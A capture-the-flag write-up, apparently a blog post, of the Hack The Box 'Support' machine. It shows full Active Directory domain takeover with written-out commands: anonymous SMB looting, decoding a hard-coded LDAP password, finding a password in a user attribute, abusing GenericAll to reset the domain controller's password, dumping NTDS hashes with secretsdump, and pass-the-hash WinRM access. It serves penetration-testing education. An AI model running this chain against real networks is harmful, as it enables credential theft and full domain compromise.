Post

HTB • Support

Support is an easy-difficulty machine created by 0xdf on Hack The Box featuring a domain controller that allows anonymous authentication on its SMB server which hosts a program that contains the password for the user ldap. This user is then used to dump accessible Active Directory objects, where we find an LDAP attribute for the user support which holds that user’s password. It turns out, support has full access over the domain controller machine account, which is abused to change the password for that account and dump the NTDS secrets. The administrator’s hash from the secrets is then used with WinRM to get a shell as Administrator

Reconnaissance

Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.

1
2
3
4
# bryan@attacker
rhost="" # replace with machine address
echo rhost=$rhost >> .env && . ./.env
ctfscan $rhost

Some services mentioned in the scan results are 53/DNS, 88/Kerberos, and 389/LDAP. The presence of these ports together indicates that this machine is likely an Active Directory domain controller.

SMB

The first port that we’ll enumerate is going to be SMB just because many SMB servers allow anonymous access.

Anonymous Access

Let’s try to use anonymous authentication to list available shares.

1
smbclient -N -L "//$rhost"

Using anonymous authentication, we are able to get a list of shares including one unusual share named support-tools. Let’s try to connect to this share and possibly download the contents.

1
2
mkdir "support-tools" && cd "support-tools"
smbclient -N "//$rhost/support-tools" -c 'recurse;prompt;mget *;exit'

Once the contents are downloaded, we notice that one file called UserInfo.exe.zip that stands out because it is not named like a known tool. Every other file seems to be related to known tools like Wireshark, PuTTY, SysInternals, etc.

UserInfo Project

Let’s try to unzip UserInfo.exe.zip.

1
2
3
file="./UserInfo.exe.zip"
unzip -l "$file"
unzip "$file"

The project has a central executable called UserInfo.exe. Let’s find out what it does.

Reversing

A good practice in reverse engineering is to conduct strict static analysis, then if it is inconclusive, jump to dynamic analysis. Let’s try this both ways as a learning opportunity.

Static Analysis

We will be using the cross-platform version of ILSpy on Linux to decompile the program. You can find the compiled release that suits your OS on the releases page. To analyze the UserInfo.exe executable, we must first copy it to the artifacts/linux-x64 folder. Once that is done we can simply run the following.

1
./ILSpy UserInfo.exe

UserInfo disassembly ILSpy successfully decompiles the UserInfo.exe assembly

Looking at the UserInfo.Services namespace in the decompiled program, a few details jump out:

  • The Protected.getPassword method takes enc_password, transforms it, and returns the result.
  • The LdapQuery class takes the return value of Protected.getPassword() and uses it as a password to perform LDAP authentication as the user support\ldap.

This means that Protected.getPassword method returns a value that is used as a password for the domain user ldap. Let’s see if we could simulate the transformation of enc_password that takes place in this method using CyberChef.

CyberChef

Protected.getPassword performs three main operations to get its return value:

  1. enc_password is base64-decoded
  2. The result is XOR encrypted with the UTF-8 key “armando
  3. The result is XOR encrypted with the hex key 0xDF

When we perform the same operations on the initial string stored in the enc_password variable with CyberChef, we are able to recover the password.

CyberChef decryption We successfully recover the plaintext password

LDAP

Let’s use ldapsearch to find any domain names expected by the server.

1
2
3
4
5
6
ldapsearch -x \
  -H "ldap://$rhost" \
  -s "base" \
  -b "" \
  "(objectClass=*)" \
  "rootDomainNamingContext"

The root naming context seems to be DC=support,DC=htb, meaning the domain name would be support.htb.

Sensitive Attributes

Now we will use a tool called go-windapsearch with the credentials we discovered to dump the user objects in JSON format. We can either download the standalone off the releases page or build it from source. The reason we are doing this is because there are sometimes attributes that hold sensitive information like passwords, hashes, etc.

1
2
3
4
5
6
7
8
9
echo 'domain="support.htb"' >> .env && . ./.env # add domain to .env
ldap_password='' # Password we found for ldap user
windapsearch -j \
  -d "$domain" \
  -u "ldap" \
  -p "$ldap_password" \
  -m "users" \
  --attrs "*" \
  -o ./users.json

Sure enough, the credentials are valid and we successfully gather the user objects into a new file called users.json. Then we’ll begin to process the data and look for any values that spark our interest using jq and some classic GNU utilities.

1
2
3
4
5
6
jq -r '..|strings' ./users.json |
  sort -u |
  awk '{print length,$0}' |
  sort -n |
  sed 's/[^ ]* //' |
  tee ./temp.txt

This should get us every string value written to temp.txt with no duplicates. The file contains a lot of SIDs, UUIDs, Dates, and other strings that are of little interest to us, but it also has one string on line 164 that has the structure of a password.

1
cat -n ./temp.txt | more

We find which object and key the value is assigned to using the jq command once again.

1
jq ".[]|select(..==\"$suspectedPassword\")" ./users.json

The string seems to be assigned to the info attribute of the user support. Could this be the password for this user?

1
2
echo "$suspectedPassword" |
  smbclient -U "support" -L "//$rhost"

I guess so! Let’s save those credentials and move on with some domain enumeration.

Domain Enumeration

We’ll be using BloodHound.py to collect the domain information, and BloodHound to graph it.

BloodHound.py

We almost always should use the -c All,LoggedOn option when running bloodhound-python. The absence of that has caused me a lot of headache in the past.

1
2
3
4
5
6
bloodhound-python --zip \
  -ns "$rhost" \
  -d "$domain" \
  -u "ldap" \
  -p "$ldap_password" \
  -c "All,LoggedOn"

This should get us a new archive that we’ll upload to BloodHound.

BloodHound

Once we clean up the database and upload our archive via the upload button on the top right, we can begin to explore this domain. We’ll check for any dangerous rights for our two owned users, ldap and support.

Support User Object

The user support is part of Two groups of interest:

  • Remote Management Users
  • Shared Support Accounts

The Remote Management Users group is pretty standard in Active Directory. To an attacker, it means that we can probably get a shell via WinRM. The Shared Support Accounts group however, is likely a custom group. In the real world, new AD security groups are often created to control and organize privileges, so it would make sense if this group had some sort of non-standard privilege.

BloodHound group We find out that the “Shared Support Accounts” group has special privileges

Sure enough, the group has the GenericAll right over the domain controller machine account.

Domain Takeover

Since we have the GenericAll privilege over the domain controller machine account, we can change the password using addcomputer.py from impacket.

1
2
3
4
5
6
7
new_pass="$(openssl rand -base64 16)"
addcomputer.py \
  -no-add \
  -computer-name "DC$" \
  -computer-pass "$new_pass" \
  -dc-ip $rhost \
  "support.htb/support":"$support_pass"

Dumping the Secrets

Now we’ll use the new password to dump the NTDS secrets with secretsdump.py from impacket.

1
2
3
4
secretsdump.py \
  -just-dc \
  -outputfile secrets \
  'support.htb/DC$':"$new_pass"@"$rhost"

Then we can get a shell as Administrator using the corresponding NT hash from the dump with Evil-WinRM.

1
evil-winrm -u "Administrator" -H $administrator_nt

We then find and submit the user flag at C:\Users\support\Desktop\user.txt and the root flag at C:\Users\Administrator\Desktop\root.txt.

This post is licensed under CC BY 4.0 by the author.